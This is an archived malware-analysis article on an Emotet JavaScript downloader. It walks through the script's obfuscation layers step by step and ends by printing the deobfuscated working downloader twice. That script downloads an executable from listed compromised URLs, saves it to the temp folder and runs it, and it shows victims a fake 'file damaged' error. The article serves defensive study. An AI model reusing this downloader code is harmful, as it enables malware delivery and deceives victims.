{
	"id": "123016e2-5818-462b-94ea-8b7f4f44d22d",
	"created_at": "2026-04-06T00:12:24.907124Z",
	"updated_at": "2026-04-10T13:11:25.066629Z",
	"deleted_at": null,
	"sha1_hash": "3f1eeff52099d718e593dfe4488442091a811c5b",
	"title": "Emotet JavaScript downloader – Max Kersten",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 132741,
	"plain_text": "Emotet JavaScript downloader – Max Kersten\r\nArchived: 2026-04-05 13:27:40 UTC\r\nThis article was published on the 8th of April 2020. This article was updated on the 8th of December 2021.\r\nThe Emotet trojan is dropped in multiple stages. The first stage is an office file that contains a macro. This macro\r\nthen loads the second stage, which is either a PowerShell script or a piece of JavaScript. A PowerShell based\r\ndownloader script that was used to downloaded the Emotet binary, is analysed in the Emotet droppers article. In\r\nthis article, a JavaScript based downloader is analysed in the usual step-by-step manner. At first, the obfuscation\r\nmethods are explained, after which the deobfuscated sample is analysed.\r\nTable of contents\r\nSample information\r\nAnalysis outline\r\nDeobfuscating the code\r\nReconstructing the original script\r\nConclusion\r\nSample information\r\nThe JavaScript based downloader is lauched by a macro in a Word document. The hashes of both samples are\r\ngiven below. Additionally a sample package (which contains both files) can be downloaded from MalShare,\r\nMalware Bazaar, or VirusBay.\r\nWord document MD-5: 12c0a3f94e87c9c4baa70e63cbb8f132\r\nWord document SHA-1: 219588d23f281f1fafad61780c115e1f61c7cd52\r\nWord document SHA-256: 8d3de338b1f13c55c73461a24fef506de8733e392cd145cc3a6a843bab28ee3d\r\nJavaScript MD-5: b23fd915ab76f0d3f79d90c7cbb87f54\r\nJavaScript SHA-1: d8bd63db6475105200fbdcc09fcb1e1c4bbde190\r\nJavaScript SHA-256: b47c3e2c8dd09054e1eec662db8ee433acb494467b6517a3a022cd7c399cef17\r\nNote that this article only covers the JavaScript based downloader.\r\nAnalysis outline\r\nThe JavaScript file is obfuscated using Obfuscator.io‘s obfuscator. One can inspect the obfuscator’s source code to\r\nunderstand how it works. Its not often that the obfuscator’s source code is available, which is why its not used in\r\nthis article. Understanding how to approach such a sample, and knowing how to recognise patterns in code, is a\r\nvaluable skill to develop.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 1 of 16\n\nDeobfuscating the code\r\nThis article will show six steps that are required to remove the obfuscation. Firstly, the original strings are\r\nretrieved. After that, multiple dead code variants are removed. Thirdly, the dictionary mappings within functions\r\nare addressed. Fourthly, the control flow is unflattened. Fifthly, the function overrides are explained. Lastly,\r\nfunction callbacks are addressed.\r\nAfter the deobfuscation is complete, the original payload will be reconstructed and analysed step-by-step.\r\nRetrieving strings\r\nWithin the sample, the strings are stored in a single array, as can be seen when scrolling through the code. The\r\nstrings are obtained from this array during run time. The code below provides the string array, together with a\r\nfunction that alters the array.\r\nvar a = ['base64-encoded-value', 'another-base64-encoded-value', ... ];\r\n(function(c, d) {\r\n var e = function(f) {\r\n while (--f) {\r\n c['push'](c['shift']());\r\n }\r\n };\r\n e(++d);\r\n}(a, 0x13b));\r\nThe anonymous function shuffles the array’s order 0x13b places, or 315 in decimal. Directly below that, a function\r\nis defined. The code is given below.\r\nvar b = function(c, d) {\r\n c = c - 0x0;\r\n var e = a[c];\r\n if (b['glFLpC'] === undefined) {\r\n (function() {\r\n var f = function() {\r\n var g;\r\n try {\r\n g = Function('return\\x20(function()\\x20' + '{}.constructor(\\x22return\\x20this\\x22\r\n } catch (h) {\r\n g = window;\r\n }\r\n return g;\r\n };\r\n var i = f();\r\n var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 2 of 16\n\ni['atob'] || (i['atob'] = function(k) {\r\n var l = String(k)['replace'](/=+$/, '');\r\n for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o \u0026\u0026 (n = m % 0x4 ? n\r\n o = j['indexOf'](o);\r\n }\r\n return q;\r\n });\r\n }());\r\n var r = function(s, d) {\r\n var u = [],\r\n v = 0x0,\r\n w, x = '',\r\n y = '';\r\n s = atob(s);\r\n for (var z = 0x0, A = s['length']; z \u003c A; z++) {\r\n y += '%' + ('00' + s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);\r\n }\r\n s = decodeURIComponent(y);\r\n for (var B = 0x0; B \u003c 0x100; B++) {\r\n u[B] = B;\r\n }\r\n for (B = 0x0; B \u003c 0x100; B++) {\r\n v = (v + u[B] + d['charCodeAt'](B % d['length'])) % 0x100;\r\n w = u[B];\r\n u[B] = u[v];\r\n u[v] = w;\r\n }\r\n B = 0x0;\r\n v = 0x0;\r\n for (var C = 0x0; C \u003c s['length']; C++) {\r\n B = (B + 0x1) % 0x100;\r\n v = (v + u[B]) % 0x100;\r\n w = u[B];\r\n u[B] = u[v];\r\n u[v] = w;\r\n x += String['fromCharCode'](s['charCodeAt'](C) ^ u[(u[B] + u[v]) % 0x100]);\r\n }\r\n return x;\r\n };\r\n b['DeXxzd'] = r;\r\n b['qjpvAF'] = {};\r\n b['glFLpC'] = !![];\r\n }\r\n var D = b['qjpvAF'][c];\r\n if (D === undefined) {\r\n if (b['dXYIcg'] === undefined) {\r\n b['dXYIcg'] = !![];\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 3 of 16\n\n}\r\n e = b['DeXxzd'](e, d);\r\n b['qjpvAF'][c] = e;\r\n } else {\r\n e = D;\r\n }\r\n return e;\r\n};\r\nThis function is called at places where a string is normally located in the script. An example of such a call is given\r\nbelow.\r\nThe first parameter is the index of the value in the string array, as can be seen in the code excerpt below.\r\nvar b = function(c, d) {\r\n c = c - 0x0;\r\n var e = a[c];\r\nThe second argument is used in the decryption of he given string. Searching for some of the magic values, will\r\nlead to the conclusion that the RC4 encryption algorithm is used, and is decrypted using this function. Note that\r\nthe string array contains base64 encoded strings, as not all encrypted output is printable. As such, the decryption\r\nfunction base64 decodes the strings first, using the atob function. The refactored function template is given below.\r\nNote that one can also find the usage of the RC4 encryption algorithm in the feature list of the obfuscator. As\r\nstated prior, this article does not rely on the feature list nor source code of the obfuscator, as this is not always\r\navailable.\r\nTo clean the script, replace all occurrences of the decryption function with the result it returns for the given array.\r\nOne can copy the string array and shuffle function into the browser’s console to obtain the shuffled and decrypted\r\nvalues, or automate the process with a script. A version of the script where all strings have been replaced is present\r\nin the file package that is provided in the beginning.\r\nDead code removal\r\nWithin the script, dead code is present in several ways. The two most occurring methods are the insertion of dead\r\ncode in the form of variables and the creation of redundant if-statements. To avoid automatic removal of unused\r\nvariables, the variables link to other dead code, thereby referencing each other. An example from the script is\r\ngiven below.\r\nvar fS = 0x1522c;\r\nvar fT = 0x15cdc;\r\nvar fU = 0x8b7aec;\r\nWshShell = WScript[cb](ck);\r\nvar fY = 0xc1b1;\r\nvar fZ = 0x2f3869;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 4 of 16\n\nvar g0 = 0x2d7f69;\r\nfY = fZ + fZ;\r\nfY = fZ + fY;\r\nfY = fY + fZ;\r\nNot all dead code references other dead code. An example of dead code without references is given below.\r\nAdditionally, this excerpt contains a redundant if-statement. Only when the code is altered, statically or in-memory, the condition could be met.\r\nif (\"JCqNE\" === \"nUZVy\") {\r\n that = window;\r\n} else {\r\n var eV = 0xf2bd6;\r\n var eW = 0x169e;\r\n var eX = new ce(c6);\r\n var eY = 0xb66;\r\n var eZ = 0x11c1d;\r\n var f0 = \"KT!Wd0rRAcucX*QYYufz tnIg;ORkuP1?c[op38[z?8ROFKHKLpH?dOB\u003cn,DmUDqnlm ZPP*::AsISG ^;Iwprs\r\n var f1 = \"g3sO31;W8 Bd h0@fwgfpIlmlIj 1BJ l2S6#gZ[TLq6f.em!J9n^W:a9;o\u003cELSD^Qf Z9qwz?^doAeA[8;Z[n\r\n var f2 = \"^8LUc?w0X%xOcUKoN @3EP,RPQ6yA#\u003cEDN.qo*dTEsue1bLG7A9 iFNAQt0Cb[dJoJw0lrDPK@,y:mWno9N%by1\r\n var f3 = 0x79219;\r\n var f4 = '\\x5c' + Math['random']()[\"toString\"](0x24)['substr'](0x2, 0x9) + c5;\r\n var f5 = 0x1522;\r\n var f6 = 0.3686;\r\n var f7 = eX[c2](0x2) + f4;\r\n var f8 = \"xIs.f\u003cAbe.qi\u003cc8 dAyQZ EHMpUGgKXbX%htpP.JhQrAiDO. ,,aU2J:Bpi$KSUe,W;*f#l[a?JkQcy!t# fR^t\r\n var f9 = \"gwE1Txw;Q.AD[#8lnj0Gc*bKtfY:Pc!$dIMQ210!ziIYSdUrg01]x OXOkB%9U#$S]$usPz@*]Koi?peC6sW@O\r\n return f7;\r\n}\r\nIn the code above, the body within the if-statement is unreachable. Therefore the code within the else-clause is\r\nexecuted. All variables are created within the condition, meaning they cease to exist outside of the else-body. In\r\nthis case, f7 is returned, which references eX and f4. Neither eX nor f4 references a variable that is created within\r\nthe else-body. As such, the content of the else-body can be rewritten without the garbage code. The rewritten\r\nexcerpt is given below.\r\nvar eX = new ce(c6);\r\nvar f4 = '\\x5c' + Math['random']()[\"toString\"](0x24)['substr'](0x2, 0x9) + c5;\r\nvar f7 = eX[c2](0x2) + f4;\r\nreturn f7;\r\nThis makes the code more readable, and will allow for a quicker analysis later on.\r\nUnflattening the control flow\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 5 of 16\n\nTo obscure the control flow, aside from the encrypted string array, dead code, and redundant if-statements, the\r\ncontrol flow is flattened. The same concept is used within all occurrences in the script. At first, two variables are\r\ncreated. One contains a series of numbers that are separated by pipes. Using the split function, an array is filled\r\nwith the numbers in the given order. The next variable is used to loop through the code. For each number in the\r\nsequence, there is a piece of code present in a switch case. Using the order that is specified by the array, the code\r\nis executed in the original order. The code excerpt is given below.\r\nvar fs = \"2|14|1|13|10|9|3|8|11|0|5|12|6|4|7\"[\"split\"]('|'),\r\n ft = 0x0;\r\nwhile (!![]) {\r\n switch (fs[ft++]) {\r\n case '0':\r\n fv[eJ] = 0x1;\r\n continue;\r\n case '1':\r\n var fu = 0xaef;\r\n continue;\r\n case '2':\r\n var fv = new ce(fb);\r\n continue;\r\n case '3':\r\n var fw = \"kF3k33%Ec6*BF1qd..dI8tFFU]0MuNGguJRpmfgeG33;g#9qlL,FF89N% Zsr*WlaKA3 J!8Eq7oEbE\r\n continue;\r\n case '4':\r\n fv[eL]();\r\n continue;\r\n case '5':\r\n fv[eB](fd);\r\n continue;\r\n case '6':\r\n fv[eK](fo, 0x2);\r\n continue;\r\n case '7':\r\n return fe(fo, ![]);\r\n case '8':\r\n var fx = '.I0nbP*mepdcjxKFmyXFFwTeYKiR[PF%P\u003c#[T%\\x20sRu$PRZcXfW*TN?T;UHsyl$13W2hq9thbu:D8\r\n continue;\r\n case '9':\r\n var fy = 0x2af;\r\n continue;\r\n case '10':\r\n var fz = 0x3723db;\r\n continue;\r\n case '11':\r\n fv[eH]();\r\n continue;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 6 of 16\n\ncase '12':\r\n fv[eE] = 0x0;\r\n continue;\r\n case '13':\r\n var fA = 0x1733b;\r\n continue;\r\n case '14':\r\n var fB = ';\\x20ImRFc[Attwgk%CuF*7Jf]geRCMS6mBQf,k\\x20],GdBPB$B8:*^9:zn*eCS?n\\x208:[[NcUlc\r\n continue;\r\n }\r\n break;\r\n}\r\nOnce reordered, the code becomes easier to read, as can be seen below.\r\nvar fv = new ce(fb);\r\nvar fB = ';\\x20ImRFc[Attwgk%CuF*7Jf]geRCMS6mBQf,k\\x20],GdBPB$B8:*^9:zn*eCS?n\\x208:[[NcUlcTf0ZHzeyFY8B\r\nvar fu = 0xaef;\r\nvar fA = 0x1733b;\r\nvar fz = 0x3723db;\r\nvar fy = 0x2af;\r\nvar fw = \"kF3k33%Ec6*BF1qd..dI8tFFU]0MuNGguJRpmfgeG33;g#9qlL,FF89N% Zsr*WlaKA3 J!8Eq7oEbE[f2I\u003c9B6OUtk\r\nvar fx = '.I0nbP*mepdcjxKFmyXFFwTeYKiR[PF%P\u003c#[T%\\x20sRu$PRZcXfW*TN?T;UHsyl$13W2hq9thbu:D80HdX^lKw,9S@\r\nfv[eH]();\r\nfv[eJ] = 0x1;\r\nfv[eB](fd);\r\nfv[eE] = 0x0;\r\nfv[eK](fo, 0x2);\r\nfv[eL]();\r\nreturn fe(fo, ![]);\r\nNote the dead code that is present in the recovered code.\r\nRemapping dictionaries\r\nAt the beginning of functions, a JavaScript object is made that contains fields with values. These fields, and their\r\nvalues, serve as key-value pairs. In the function, the values will be taken from the object to obscure the function’s\r\npurpose. An excerpt from the code is given below.\r\nvar bg = {\r\n 'CfYsK': function(bh, bi, bj) {\r\n return bh(bi, bj);\r\n },\r\n 'uBANR': \"8|0|2|7|1|4|6|3|5\",\r\n 'vVong': \"KT!Wd0rRAcucX*QYYufz tnIg;ORkuP1?c[op38[z?8ROFKHKLpH?dOB\u003cn,DmUDqnlm ZPP*::AsISG ^;Iwprs\r\n 'tEaku': \"g3sO31;W8 Bd h0@fwgfpIlmlIj 1BJ l2S6#gZ[TLq6f.em!J9n^W:a9;o\u003cELSD^Qf Z9qwz?^doAeA[8;Z[n\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 7 of 16\n\n'MwKva': '^8LUc?w0X%xOcUKoN\\x20@3EP,RPQ6yA#\u003cEDN.qo*dTEsue1bLG7A9\\x20iFNAQt0Cb[dJoJw0lrDPK@,y:mWno\r\n 'OtIWa': function(bk, bl) {\r\n return bk + bl;\r\n },\r\n 'NKXnB': 'xIs.f\u003cAbe.qi\u003cc8\\x20dAyQZ\\x20EHMpUGgKXbX%htpP.JhQrAiDO.\\x20,,aU2J:Bpi$KSUe,W;*f#l[a?JkQc\r\n 'mLaoo': \"gwE1Txw;Q.AD[#8lnj0Gc*bKtfY:Pc!$dIMQ210!ziIYSdUrg01]x OXOkB%9U#$S]$usPz@*]Koi?peC6sW@O\r\n 'pXVox': \"MsPFI\",\r\n 'YlyIl': \"return (function() \",\r\n 'GyBoN': \"{}.constructor(\\\"return this\\\")( )\",\r\n 'FnRMt': function(bm) {\r\n return bm();\r\n },\r\n 'icZPL': function(bn, bo) {\r\n return bn === bo;\r\n },\r\n 'FCQwq': \"JLmQv\",\r\n 'PPHdv': \"vmxRb\"\r\n};\r\nvar bp = function() {};\r\nvar bq;\r\ntry {\r\n if (bg[\"pXVox\"] === bg['pXVox']) {\r\n var br = Function(bg[\"OtIWa\"](bg[\r\n \"YlyIl\"] + bg[\"GyBoN\"], ');'));\r\n bq = bg[\"FnRMt\"](br);\r\n } else {\r\n return bg[\"CfYsK\"](callback, null, !![]);\r\n }\r\n} catch (bt) {\r\n bq = window;\r\n}\r\nThe if-statement compares the same field from the object, meaning the value is irrelevant as it will always be\r\nequal. A new function is then created, where the function template as defined in the OtIWa field is then used to add\r\nthe two given parameters together. The first parameter is the value of YlyIl and GyBoN. The second value is equal\r\nto );. The value, once concatenated, is given below.\r\nreturn (function() {}.constructor(\\\"return this\\\")( ));\r\nThis code is then executed as a function by using the function template that is defined in FnRMt, whose return\r\nvalue is then stored in bq. The try-catch statement is written below in the cleaned form.\r\nbq = (function() {}.constructor(\\\"return this\\\")( ));\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 8 of 16\n\nNote that the try-catch structure has also been removed from the code, as it serves no purpose during the analysis\r\nand only clutters the overview the analyst creates.\r\nOverriding default functions\r\nThe excerpt below is a part of the code that is used to override several functions that are normally present in the\r\nconsole. A commonly used technique to see the value of an variable is to print it using console.log(variableName).\r\nvar bp = function() {};\r\nvar bq;\r\ntry {\r\n if (bg[\"pXVox\"] === bg['pXVox']) {\r\n var br = Function(bg[\"OtIWa\"](bg[\r\n \"YlyIl\"] + bg[\"GyBoN\"], ');'));\r\n bq = bg[\"FnRMt\"](br);\r\n } else {\r\n return bg[\"CfYsK\"](callback, null, !![]);\r\n }\r\n} catch (bt) {\r\n bq = window;\r\n}\r\nif (!bq[\"console\"]) {\r\n bq[\"console\"] = function(bp) {\r\n var bv = bg['uBANR'][\"split\"]('|'),\r\n bw = 0x0;\r\n while (!![]) {\r\n switch (bv[bw++]) {\r\n case '0':\r\n aX['log'] = bp;\r\n continue;\r\n case '1':\r\n aX[\"info\"] = bp;\r\n continue;\r\n case '2':\r\n aX[\"warn\"] = bp;\r\n continue;\r\n case '3':\r\n aX['trace'] = bp;\r\n continue;\r\n case '4':\r\n aX[\"error\"] = bp;\r\n continue;\r\n case '5':\r\n return aX;\r\n case '6':\r\n aX[\"exception\"] = bp;\r\n continue;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 9 of 16\n\ncase '7':\r\n aX[\"debug\"] = bp;\r\n continue;\r\n case '8':\r\n var aX = {};\r\n continue;\r\n }\r\n break;\r\n }\r\n }(bp);\r\n} else {\r\n if (bg[\"icZPL\"](bg['FCQwq'], bg[\"PPHdv\"])) {\r\n var X = 0xf2bd6;\r\n var Y = 0x169e;\r\n var Z = new ce(c6);\r\n var a0 = 0xb66;\r\n var a1 = 0x11c1d;\r\n var a2 = bg[\"vVong\"];\r\n var a3 = bg['tEaku'];\r\n var a4 = bg['MwKva'];\r\n var a5 = 0x79219;\r\n var a6 = bg[\"OtIWa\"](bg[\"OtIWa\"]('\\x5c', Math[\"random\"]()[\"toString\"](0x24)[\"substr\"](0x2, 0x\r\n var a7 = 0x1522;\r\n var a8 = 0.3686;\r\n var a9 = Z[c2](0x2) + a6;\r\n var aa = bg[\"NKXnB\"];\r\n var ab = bg['mLaoo'];\r\n return a9;\r\n } else {\r\n var bO = \"2|1|0|3|6|4|5\" [\"split\"]('|'),\r\n bP = 0x0;\r\n while (!![]) {\r\n switch (bO[bP++]) {\r\n case '0':\r\n bq[\"console\"][\"debug\"] = bp;\r\n continue;\r\n case '1':\r\n bq[\"console\"][\"warn\"] = bp;\r\n continue;\r\n case '2':\r\n bq['console'][\"log\"] = bp;\r\n continue;\r\n case '3':\r\n bq['console'][\"info\"] = bp;\r\n continue;\r\n case '4':\r\n bq[\"console\"]['exception'] = bp;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 10 of 16\n\ncontinue;\r\n case '5':\r\n bq[\"console\"][\"trace\"] = bp;\r\n continue;\r\n case '6':\r\n bq['console'][\"error\"] = bp;\r\n continue;\r\n }\r\n break;\r\n }\r\n }\r\n}\r\nSeveral fields within the console object are set equal to bp, which is defined as an empty function in the first line\r\nof the excerpt. This example also serves to show that not all obfuscation needs to be removed in order to make the\r\ncode readable. The last switch does not need to be removed, as the order of the execution does not matter. The fact\r\nthat functions are replaced is already visible.\r\nCode segments like this are inserted to hinder dynamic analysis, which is often much quicker than static analysis.\r\nSince this analysis is done statically, code segments like these are considered clutter. As such, they can be\r\nremoved from the script once it is certain that none of the code that is present in the original input is handled\r\nwithin such a function.\r\nFunction callbacks\r\nUsually, a function requires arguments and returns a value based upon the input. Sometimes, one or more of the\r\narguments is also altered. It is also possible to provide a function as an argument. The obfuscation here passes a\r\nfunction with two arguments, which is done several times. The first argument is the data to use, whereas the\r\nsecond argument is a boolean. Within the function, a check is done to see if the value is either true or false.\r\nDepending on the hardcoded path, either of these values is required to continue the execution. This further\r\nobscures the execution path within the obfuscated code, especially if this is done in all functions.\r\nTo illustrate the above, two functions will be discussed. Below, the cs function partially given.\r\ncs(urlThree, function(dd, de) {\r\nif (!de) {\r\nreturn cT(dd, ![]);\r\n}\r\n//[...]\r\n}\r\nAs stated before, the function that is passed as the second argument requires two parameters. The first is the URL,\r\nand the second is the function to continue the execution in. In this case, the hardcoded boolean value should be\r\nfalse.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 11 of 16\n\nThe cs function is given below in its refactored form.\r\nfunction cs(ct, cu) {\r\n try {\r\n var httpObject = new activeXObject(\"MSXML2.XMLHTTP\");\r\n httpObject[\"open\"](\"GET\", ct, ![]);\r\n httpObject[\"send\"]();\r\n if (httpObject[\"status\"] == 200) {\r\n return (cu(httpObject['ResponseBody'], ![]);\r\n } else {\r\n return cu(null, !![]);\r\n }\r\n } catch (cR) {\r\n return cu(null, !![]);\r\n }\r\nIf the HTTP status code is equal to OK (status code 200), the Emotet binary could be downloaded. Note that cu is\r\nthe function that is passed to cs. The binary itself is then passed to cu as the first argument. The second argument\r\nthat is passed to cu is ![], which equals false. The boolean’s value should be false to successfully continue the\r\nexecution, as can be seen in the code of cu.\r\nRewriting the code can be done by defining more functions that do not require the boolean to follow the correct\r\npath, but return the first argument that is passed to given function. To illustrate, the cs function would return the\r\nresponse body.\r\nReconstructing the original script\r\nBased on the obfuscation techniques that are given above, one can clean the code. Removing the content that is\r\nnot centered around the interesting variables will remove the anti-tampering and anti-debugging code that is\r\npresent. By removing the function callbacks, more functions will be created, which also results in a clearer\r\noverview for the analyst.\r\nOnce all relevant code is gathered and cleaned, the original input can be recovered. Functions names and variable\r\nnames can be refactored to improve the readability of the code even further.\r\nAnalysing the original script\r\nThe refactored and cleaned script is analysed in parts, after which the whole script is given.\r\nThe first part of the script contains the variables. As most of the variables occurred only once, the sole occurence\r\nhas been replaced by its value. The five URLs are stored in a single array, as this makes the iteration over all five\r\nURLs easier.\r\nvar urls = ['https://miraigroupsumatera.com/wp-includes/wkcw90205/', \"https://careervsjob.com/wp-cont\r\nvar activeXObject = 'ActiveXObject';\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 12 of 16\n\nThe next function, named download, is used to download the Emotet binary from a given URL using a Microsfot\r\nXML object. The request is not async, as is defined by the third argument in the open function. Only if the HTTP\r\nstatus code is OK (which is equal to 200), the response body is returned.\r\nfunction download(url) {\r\n var httpObject = new activeXObject(\"MSXML2.XMLHTTP\");\r\n httpObject[\"open\"](\"GET\", url, false);\r\n httpObject[\"send\"]();\r\n if (httpObject[\"status\"] == 200) {\r\n return httpObject['ResponseBody'];\r\n } else {\r\n return null;\r\n }\r\n}\r\nOnce downloaded, the response body needs to be saved somewhere. The getOutputPath function generates the\r\nfull path, including a random file name with the exe extension to save the downloaded binary to. The\r\nGetSpecialFolder function, when given the argument is 2, returns the path to the temporary folder on the system.\r\nThe file name starts with \\x5c, which equals \\\\, as the temporary folder’s location does not end with a backslash.\r\nThis needs to be added before the file name can be appended.\r\nThe file name is nine characters long, and is obtained using the random function. The result from this function\r\nalways starts with zero dot. To remove these two characters, a substring that is nine characters long, starting at the\r\nsecond index, is taken.\r\nfunction getOutputPath() {\r\n var fileSystemObject = new activeXObject(\"Scripting.FileSystemObject\");\r\n var fileName = '\\x5c' + Math.random().toString(36).substr(2, 9) + \".exe\";\r\n var outputPath = fileSystemObject[\"GetSpecialFolder\"](2) + fileName;\r\n return outputPath;\r\n}\r\nThe saveAndRun function gets the the output path for the downloaded file, and saves the file to the disk using an\r\nADO Stream Object. The type is set to 1, which corresponds with the adTypeBinary constant in the\r\nStreamTypeEnum. This is correct, since the downloaded data is a byte array.\r\nThe SaveToFile function saves the file to the given location. The second parameter, 2, is equal to the\r\nadSaveCreateOverWrite constant in the SaveOptionsEnum. If there already is a file with the randomly generated\r\nname, it is overwritten.\r\nAt last, the WScript Shell is used to execute the file that was just written to the disk.\r\nfunction saveAndRun(data) {\r\n var outputPath = getOutputPath();\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 13 of 16\n\nvar adodbStream = new activeXObject('ADODB.Stream');\r\n adodbStream['Open']();\r\n adodbStream[\"Type\"] = 1;\r\n adodbStream[\"Write\"](data);\r\n adodbStream[\"Position\"] = 0;\r\n adodbStream[\"SaveToFile\"](outputPath, 2);\r\n adodbStream[\"Close\"]();\r\n var shell = new activeXObject(\"WScript.Shell\");\r\n shell[\"Run\"](outputPath);\r\n}\r\nThe start function is used to display the fake error message to the victim, using the WScript Shell’s Popup\r\nfunction. The first argument is the text to display. The second argument is the amount of seconds that the message\r\nbox should maximally be displayed, where the value 0 is used to mark the time frame as indefinite. The third\r\nargument is the title of the message box. The last argument is the icon type of the messagebox, where 64 refers to\r\nthe informational message box icon.\r\nfunction start(data, shouldRun) {\r\n WshShell = WScript[\"CreateObject\"](\"WScript.Shell\");\r\n Text = \"There was an error opening this document. The file is damaged and could not be repaired\r\n Title = \"Not Supported File Format\";\r\n Res = WshShell[\"Popup\"](Text, 0, Title, 64);\r\n if (shouldRun) saveAndRun(data);\r\n}\r\nAfter all functions have been defined, the URL array can be iterated through to download the binary. If the\r\ndownload is successful, the data is saved to the disk, and then executed. At last, the fake error message is\r\ndisplayed.\r\nfor (var i = 0; i \u003c urls.length; i++) {\r\n var data = download(urls[i]);\r\n if(data) start(data, true);\r\n}\r\nThe complete script is given below.\r\nvar urls = ['https://miraigroupsumatera.com/wp-includes/wkcw90205/', \"https://careervsjob.com/wp-cont\r\nvar activeXObject = 'ActiveXObject';\r\nfunction download(url) {\r\n var httpObject = new activeXObject(\"MSXML2.XMLHTTP\");\r\n httpObject[\"open\"](\"GET\", url, false);\r\n httpObject[\"send\"]();\r\n if (httpObject[\"status\"] == 200) {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 14 of 16\n\nreturn httpObject['ResponseBody'];\r\n } else {\r\n return null;\r\n }\r\n}\r\nfunction getOutputPath() {\r\n var fileSystemObject = new activeXObject(\"Scripting.FileSystemObject\");\r\n var fileName = '\\x5c' + Math.random().toString(36).substr(2, 9) + \".exe\";\r\n var outputPath = fileSystemObject[\"GetSpecialFolder\"](2) + fileName;\r\n return outputPath;\r\n}\r\nfunction saveAndRun(data) {\r\n var outputPath = getOutputPath();\r\n var adodbStream = new activeXObject('ADODB.Stream');\r\n adodbStream['Open']();\r\n adodbStream[\"Type\"] = 1;\r\n adodbStream[\"Write\"](data);\r\n adodbStream[\"Position\"] = 0;\r\n adodbStream[\"SaveToFile\"](outputPath, 2);\r\n adodbStream[\"Close\"]();\r\n var shell = new activeXObject(\"WScript.Shell\");\r\n shell[\"Run\"](outputPath);\r\n}\r\nfunction start(data, shouldRun) {\r\n WshShell = WScript[\"CreateObject\"](\"WScript.Shell\");\r\n Text = \"There was an error opening this document. The file is damaged and could not be repaired\r\n Title = \"Not Supported File Format\";\r\n Res = WshShell[\"Popup\"](Text, 0, Title, 64);\r\n if (shouldRun) saveAndRun(data);\r\n}\r\nfor (var i = 0; i \u003c urls.length; i++) {\r\n var data = download(urls[i]);\r\n if(data) start(data, true);\r\n}\r\nConclusion\r\nBy recognising patterns in the code, one can remove the obfuscation. This is, however, a time consuming task.\r\nTherefore, it is essential to find a balance between deobfuscating code and reading obfuscated code. The amount\r\nof code that needs to be deobfuscated differs based on the goal of the analysis.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 15 of 16\n\nThe analysis, deobfuscation, and refactoring efforts reduced the code from 1067 lines of code, into 46 lines of\r\ncode. This is a reduction in size of more than 95 percent, allowing the analyst to quickly read and understand the\r\ncode. Based on this, future changes can be tracked without fully deobfuscating the sample.\r\nTo contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.\r\nSource: https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/"
	],
	"report_names": [
		"emotet-javascript-downloader"
	],
	"threat_actors": [],
	"ts_created_at": 1775434344,
	"ts_updated_at": 1775826685,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3f1eeff52099d718e593dfe4488442091a811c5b.pdf",
		"text": "https://archive.orkl.eu/3f1eeff52099d718e593dfe4488442091a811c5b.txt",
		"img": "https://archive.orkl.eu/3f1eeff52099d718e593dfe4488442091a811c5b.jpg"
	}
}